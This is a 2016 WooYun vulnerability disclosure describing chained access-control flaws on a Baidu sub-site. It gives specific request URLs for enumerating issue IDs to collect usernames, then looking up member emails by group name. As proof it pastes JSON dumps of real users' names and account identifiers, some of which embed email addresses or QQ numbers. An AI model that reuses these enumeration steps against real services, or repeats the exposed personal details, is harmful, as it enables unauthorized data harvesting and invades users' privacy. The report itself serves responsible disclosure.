当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0191930

漏洞标题：百度某分站多处越权进一步获取该站注册用户信息

相关厂商：百度

漏洞作者： getshell1993

提交时间：2016-04-03 13:00

修复时间：2016-05-21 17:30

公开时间：2016-05-21 17:30

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-03： 细节已通知厂商并且等待厂商处理中
2016-04-06： 厂商已经确认，细节仅向厂商公开
2016-04-16： 细节向核心白帽子及相关领域专家公开
2016-04-26： 细节向普通白帽子公开
2016-05-06： 细节向实习白帽子公开
2016-05-21： 细节向公众公开

简要描述：

多个越权组合

详细说明：

百度效率云
https://xiaolvyun.baidu.com/
这系统越权超级多，例如

2.png


越权查看他人计划卡片
https://xiaolvyun.baidu.com/abc123/icafe//planAndTrack/1122/edit?_=1459597042687

3.png


https://xiaolvyun.baidu.com/abc123/icafe//planAndTrack/2155/edit?_=1459597042687

4.png


https://xiaolvyun.baidu.com/abc123/icafe//planAndTrack/2159/edit?_=1459597042687
https://xiaolvyun.baidu.com/abc123/icafe//planAndTrack/1076/edit?_=1459597042687
https://xiaolvyun.baidu.com/abc123/icafe//planAndTrack/2157/edit?_=1459597042687
…………
接着发现有一处可以越权查看用户注册邮箱，前提得知道注册用户名
https://xiaolvyun.baidu.com/portal/member/dashboard?enterpriseName=test

1.png


于是结合一处泄露用户名的越权就可以批量获取整站用户信息了
https://xiaolvyun.baidu.com/abc123/icafe/issue/1/showHierarchy?_=1459598259235

5.png


遍历这个id即可/issue/*/获取到整站用户名
再用用户名获取到他的注册邮箱，以及组内成员邮箱
https://xiaolvyun.baidu.com/portal/member/dashboard?enterpriseName=iKafe

6.png

漏洞证明：

挑前五个id用户名证明一下，有些一个用户名组内对应了大量账号。

{"status":"OK","message":"操作成功！","data":{"memberCount":4,"inviteCount":0,"users":[{"id":19,"name":"dongshuwang_baidu.com_ikafe","cnname":"董树旺","email":"[email protected]","mobile":"","enterpriseId":2,"enterpriseName":"ikafe","enterpriseCnname":"爱咖啡","certificate":null},{"id":23,"name":"wangzhonggang01_baidu.com_ikafe","cnname":"超级小鸡哥","email":"[email protected]","mobile":"","enterpriseId":2,"enterpriseName":"ikafe","enterpriseCnname":"爱咖啡","certificate":null},{"id":24,"name":"songkexin01_baidu.com_ikafe","cnname":"宋克汉姆","email":"[email protected]","mobile":"","enterpriseId":2,"enterpriseName":"ikafe","enterpriseCnname":"爱咖啡","certificate":null},{"id":35,"name":"wangyinan02_baidu.com_ikafe","cnname":"王一男","email":"[email protected]","mobile":"","enterpriseId":2,"enterpriseName":"ikafe","enterpriseCnname":"爱咖啡","certificate":null}]}}
{"status":"OK","message":"操作成功！","data":{"memberCount":24,"inviteCount":0,"users":[{"id":1,"name":"lihui24_baidu.com_baidu","cnname":"李辉","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":2,"name":"dongshuwang_baidu.com_baidu","cnname":"董树旺","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":3,"name":"xuxiaoqiang_baidu.com_baidu","cnname":"Justin","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":4,"name":"zhangchao19_baidu.com_baidu","cnname":"张超","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":5,"name":"liaochaochao_baidu.com_baidu","cnname":"超超","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":6,"name":"huangdongfa_baidu.com_baidu","cnname":"huangdongfa","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":7,"name":"shiyangyang_baidu.com_baidu","cnname":"时扬扬","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":8,"name":"songkexin01_baidu.com_baidu","cnname":"宋克汉姆","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":9,"name":"wangzhonggang01_baidu.com_baidu","cnname":"王仲刚","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":10,"name":"xuchen04_baidu.com_baidu","cnname":"徐晨","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":11,"name":"yinyan_baidu.com_baidu","cnname":"yinyan","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":12,"name":"luokai_baidu.com_baidu","cnname":"罗凯","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":13,"name":"xiazhongpu_baidu.com_baidu","cnname":"下中铺","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":14,"name":"yangyang22_baidu.com_baidu","cnname":"杨扬","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":15,"name":"xujinfeng_baidu.com_baidu","cnname":"金凤","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":16,"name":"jianglin04_baidu.com_baidu","cnname":"linsama","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":17,"name":"liuqing07_baidu.com_baidu","cnname":"庆哥儿","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":18,"name":"dengfeige_baidu.com_baidu","cnname":"denger","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":20,"name":"liming16_baidu.com_baidu","cnname":"proliming","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":21,"name":"zhanghuaming_baidu.com_baidu","cnname":"zhm","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":25,"name":"sunwei18_baidu.com_baidu","cnname":"孙伟","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":37,"name":"wangyinan02_baidu.com_baidu","cnname":"王一男","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":319,"name":"xutingting_baidu.com_baidu","cnname":"xtt","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null},{"id":488,"name":"wangguan08_baidu.com_baidu","cnname":"王冠","email":"[email protected]","mobile":"","enterpriseId":1,"enterpriseName":"baidu","enterpriseCnname":"baidu","certificate":null}]}}
{"status":"OK","message":"操作成功！","data":{"memberCount":4,"inviteCount":0,"users":[{"id":26,"name":"xuxiaoqiang_baidu.com_justin","cnname":"Justin","email":"[email protected]","mobile":"","enterpriseId":4,"enterpriseName":"justin","enterpriseCnname":"justin","certificate":null},{"id":27,"name":"lihui24_baidu.com_justin","cnname":"李辉","email":"[email protected]","mobile":"","enterpriseId":4,"enterpriseName":"justin","enterpriseCnname":"justin","certificate":null},{"id":29,"name":"xujinfeng_baidu.com_justin","cnname":"hua","email":"[email protected]","mobile":"","enterpriseId":4,"enterpriseName":"justin","enterpriseCnname":"justin","certificate":null},{"id":50,"name":"xiazhongpu_baidu.com_justin","cnname":"下中铺","email":"[email protected]","mobile":"","enterpriseId":4,"enterpriseName":"justin","enterpriseCnname":"justin","certificate":null}]}}
{"status":"OK","message":"操作成功！","data":{"memberCount":1,"inviteCount":0,"users":[{"id":28,"name":"bestwangguan_hotmail.com_wangguan","cnname":"王冠","email":"[email protected]","mobile":"","enterpriseId":5,"enterpriseName":"wangguan","enterpriseCnname":"王冠","certificate":null}]}}
{"status":"OK","message":"操作成功！","data":{"memberCount":9,"inviteCount":3,"users":[{"id":30,"name":"shy2850_163.com_javascript","cnname":"时扬扬","email":"[email protected]","mobile":"","enterpriseId":6,"enterpriseName":"javascript","enterpriseCnname":"javascript","certificate":null},{"id":36,"name":"liangzai_cool_yeah.net_javascript","cnname":"薛亮","email":"[email protected]","mobile":"","enterpriseId":6,"enterpriseName":"javascript","enterpriseCnname":"javascript","certificate":null},{"id":51,"name":"10030615_qq.com_javascript","cnname":"王杰","email":"[email protected]","mobile":"","enterpriseId":6,"enterpriseName":"javascript","enterpriseCnname":"javascript","certificate":null},{"id":52,"name":"503634165_qq.com_javascript","cnname":"严成杰","email":"[email protected]","mobile":"","enterpriseId":6,"enterpriseName":"javascript","enterpriseCnname":"javascript","certificate":null},{"id":53,"name":"453594574_qq.com_javascript","cnname":"李钿","email":"[email protected]","mobile":"","enterpriseId":6,"enterpriseName":"javascript","enterpriseCnname":"javascript","certificate":null},{"id":54,"name":"363307847_qq.com_javascript","cnname":"kenn","email":"[email protected]","mobile":"","enterpriseId":6,"enterpriseName":"javascript","enterpriseCnname":"javascript","certificate":null},{"id":88,"name":"741102515_qq.com_javascript","cnname":"刘骏骋","email":"[email protected]","mobile":"","enterpriseId":6,"enterpriseName":"javascript","enterpriseCnname":"javascript","certificate":null},{"id":90,"name":"601635472_qq.com_javascript","cnname":"阿东","email":"[email protected]","mobile":"","enterpriseId":6,"enterpriseName":"javascript","enterpriseCnname":"javascript","certificate":null},{"id":91,"name":"itboy2java_163.com_javascript","cnname":"changzy","email":"[email protected]","mobile":"","enterpriseId":6,"enterpriseName":"javascript","enterpriseCnname":"javascript","certificate":null}]}}

修复方案：

整站做好权限控制

版权声明：转载请注明来源 getshell1993@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2016-04-06 17:22

厂商回复：

感谢您关注百度安全!

最新状态：

暂无